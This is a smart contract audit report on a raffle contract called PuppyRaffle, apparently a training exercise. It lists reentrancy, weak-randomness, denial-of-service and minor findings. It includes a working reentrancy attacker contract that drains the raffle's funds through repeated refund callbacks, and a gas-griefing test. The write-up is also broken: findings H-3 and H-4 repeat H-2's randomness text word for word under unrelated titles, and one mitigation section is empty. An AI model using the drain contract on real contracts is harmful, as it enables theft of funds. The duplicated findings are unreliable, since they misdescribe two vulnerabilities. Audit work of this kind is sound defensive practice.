</goopinho>

PuppyRaffle Audit Report

Version 1.0

profileos.vercel.app

December 19, 2023

PuppyRaffle Audit Report

Gopinho

Dec 19, 2023

Prepared by: Gurpreet Lead Researcher:

- Gurpreet

Table of Contents

- Medium
  * [M-1] Function `PuppyRaffle::enterRaffle` is exposed to DOS(Denial of service) attacks, looping through unchecked players array.
- Informational
  * [I-1] Solidity pragma should be specific, not wide
  * [I-2] Using outdated versions of Solidity is not recommended.
  * [I-3] _isActivePlayer is never used and should be removed
  * [I-4] Zero address may be erroneously considered an active player
- Gas
  * [G-1] Unchanged variables should be constant or immutable

Protocol Summary

PuppyRaffle functions as a smart contract lottery system where users enter a pool and winner gets picked randomly. THe fee is splitted between the players and the protocol.

Disclaimer

The Gurpreet(gopinho) team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings in this documents corrosponds to the following commit hash

```
e30d199697bbc822b646d76533b66b7d529b8ef5
```

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

- Owner: Deployer of the contract, has power to change the address of to which fee is sent using `changeFeeAddress` function.
- Player: Participant of the protocol, they enter the raffle through `enterRaffle` function and has ability to get a refund using `refund` function.

Executive Summary

Manual review including foundry fuzz tests were expended on this contract.

Issues found

Severity	Number of issues
High	4
Medium	1
Info	4
Gas	1

Severity	Number of issues
Total	10

Findings

High

[H-1] Function `PuppyRaffle::refund` is vulnerable to reenteracy attacks.

Description: The function `PuppyRaffle::refund` sends an external call before updating the states. This external call can be called multiple times before it ever reaches the `players[playerIndex] = address(0)`.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
           can refund");
4      require(playerAddress != address(0), "PuppyRaffle: Player already
           refunded, or is not active");
5
6  @>  payable(msg.sender).sendValue(entranceFee);
7
8  @>  players[playerIndex] = address(0);
9      emit RaffleRefunded(playerAddress);
10 }
```

Impact: Impact of reenteracy attacks can be critical. Attacker can drain the contract funds by calling back to `PuppyRaffle` contract once they receive funds using `fallback()` or `recive()`. Which calls back the `refund()` again before it ever gets a chance to update the balance, in this case removing them from `players[]`. They can drain the contract until there is nothing left.

Proof of Concept: Place the following test in `PuppyRaffle.t.sol`.

POC

```
1
2      function test_reenterancyAttack() public {
3          address[] memory players = new address[](4);
4          players[0] = playerOne;
5          players[1] = playerTwo;
6          players[2] = playerThree;
7          players[3] = playerFour;
8          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
```

```
9
10          ReenterancyAttacker attackerContract = new ReenterancyAttacker(
11              puppyRaffle
12          );
13          address attacker = makeAddr("attacker");
14          vm.deal(attacker, 1 ether);
15
16          uint256 startingAttackContractBalance = address(
                attackerContract)
17              .balance;
18          uint256 startingPuppyRaffleBalance = address(puppyRaffle).
                balance;
19
20          // executing attack
21          vm.prank(attacker);
22          attackerContract.attack{value: entranceFee}();
23
24          console.log("starting attacker balance",
                startingAttackContractBalance);
25          console.log("starting puppyRaffle balance",
                startingPuppyRaffleBalance);
26
27          console.log(
28              "ending attacker balance",
29              address(attackerContract).balance
30          );
31          console.log("ending puppyRaffle balance", address(puppyRaffle).
                balance);
32      }
33
34  contract ReenterancyAttacker {
35      PuppyRaffle puppyRaffle;
36      uint256 enteranceFee;
37      uint256 attackerIndex;
38
39      constructor(PuppyRaffle _puppyRaffle) {
40          puppyRaffle = _puppyRaffle;
41          enteranceFee = _puppyRaffle.entranceFee();
42      }
43
44      //enter raffle
45      function attack() external payable {
46          address[] memory players = new address[](1);
47          players[0] = address(this);
48          puppyRaffle.enterRaffle{value: enteranceFee}(players);
49          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
50          puppyRaffle.refund(attackerIndex);
51      }
52
53      function _steal() internal {
```

```
54          if (address(puppyRaffle).balance >= enteranceFee) {
55              puppyRaffle.refund(attackerIndex);
56          }
57      }
58
59      fallback() external payable {
60          _steal();
61      }
62
63      receive() external payable {
64          _steal();
65      }
66  }
```

Recommended Mitigation: Reenterancy attack can be mitigated by following some best practices when dealing with external calls.

- Make checks first
- Update variables
- Lastly external calls

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5   +       players[playerIndex] = address(0);
6   +       emit RaffleRefunded(playerAddress);
7           (bool success,) = msg.sender.call{value: entranceFee}("");
8           require(success, "PuppyRaffle: Failed to refund player");
9   -        players[playerIndex] = address(0);
10  -        emit RaffleRefunded(playerAddress);
11      }
```

Another solution for this would be using Openzeppelins `ReentrancyGuard` contract, it provides a modifier to functions to prevent these attacks from happening.

[H-2] Function `PuppyRaffle::selectWinner` uses insecure ways of generating random winner for `winnerIndex`.

Description: The way `selectWinner` is implemented is very insecure way to create a winner. Thas in the past been exploited in the past. ex - Meebit NFTs The winner can be anticipated in this case and using specific methods attacker can.

Impact: Miners can hold the transaction and keep rerunning it until they get the winning index of their own

Proof of Concept: Case study Meebit NFTs

Recommended Mitigation: Recommended and safe way to generate random number is using Chainlink VRF.

[H-3] Overflow and Underflow

Description: The way `selectWinner` is implemented is very insecure way to create a winner. Thas in the past been exploited in the past. ex - Meebit NFTs The winner can be anticipated in this case and using specific methods attacker can.

Impact: Miners can hold the transaction and keep rerunning it until they get the winning index of their own

Proof of Concept: Case study Meebit NFTs

Recommended Mitigation: Recommended and safe way to generate random number is using Chainlink VRF.

[H-4] `PuppyRaffle::selectWinner` uses very unsafe require statement, which can lead to not being able to withdraw the fee.

Description: The way `selectWinner` is implemented is very insecure way to create a winner. Thas in the past been exploited in the past. ex - Meebit NFTs The winner can be anticipated in this case and using specific methods attacker can.

Impact: Miners can hold the transaction and keep rerunning it until they get the winning index of their own

Proof of Concept: Case study Meebit NFTs

Recommended Mitigation: Recommended and safe way to generate random number is using Chainlink VRF.

Medium

[M-1] Function `PuppyRaffle::enterRaffle` is exposed to DOS(Denial of service) attacks, looping through unchecked players array.

Description: Function `PuppyRaffle::enterRaffle` is prone to DOS attacks. It iterates unbouded through the list `players`, makes it more gas expensive over time could potentially end

up being over block gas limit.Every single player added will require additional check to make on top of already existing players resulting directly in increasing gas cost.

Impact: Some third party could block access to this function if they run this function multiple times, making it more gas expensive over time could end up being over block gas limit and causing the `PuppyRaffle::enterRaffle` to not be executable anymore.

Proof of Concept: Place the following test in `PuppyRaffle.t.sol`.

POC

```
    function test_denialOfService() public {
        // address[] memory players = new address[](1);
        // players[0] = playerOne;
        // puppyRaffle.enterRaffle{value: entranceFee}(players);
        // assertEq(puppyRaffle.players(0), playerOne);
        vm.txGasPrice(1);

        uint256 playerNumber = 500;
        address[] memory players = new address[](playerNumber);
        for (uint256 i = 0; i < playerNumber; i++) {
            players[i] = address(i);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasLeft = gasleft();

        uint256 gasUsedFirst500 = (gasStart - gasLeft) * tx.gasprice;

        console.log(gasUsedFirst500);

        // Check gas for next 500 players

        address[] memory playersNext = new address[](playerNumber);
        for (uint256 i = 0; i < playerNumber; i++) {
            playersNext[i] = address(i + playerNumber);
        }

        uint256 gasStartAfter = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersNext
        );
        uint256 gasLeftAfter = gasleft();

        uint256 gasUsedLast500 = (gasStartAfter - gasLeftAfter) * tx.
            gasprice;

        console.log(gasUsedLast500);

```

```
39          assert(gasUsedFirst500 < gasUsedLast500);
40      }
```

Recommended Mitigation:

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol: Line: 2

[I-2] Using outdated versions of Solidity is not recommended.

Description: Solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with any of the following Solidity versions:

`0.8.18`

The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs

[I-3] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

[I-4] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

Gas

[G-1] Unchanged variables should be constant or immutable

Description: Reading from storage is much more gas expensive than reading from constants and immutable variables.

Constant Instances:

- `PuppyRaffle::commonImageUri` (src/PuppyRaffle.sol#35) should be constant
- `PuppyRaffle::legendaryImageUri` (src/PuppyRaffle.sol#45) should be constant
- `PuppyRaffle::rareImageUri` (src/PuppyRaffle.sol#40) should be constant

Immutable Instances:

- `PuppyRaffle::raffleDuration` (src/PuppyRaffle.sol#21) should be immutable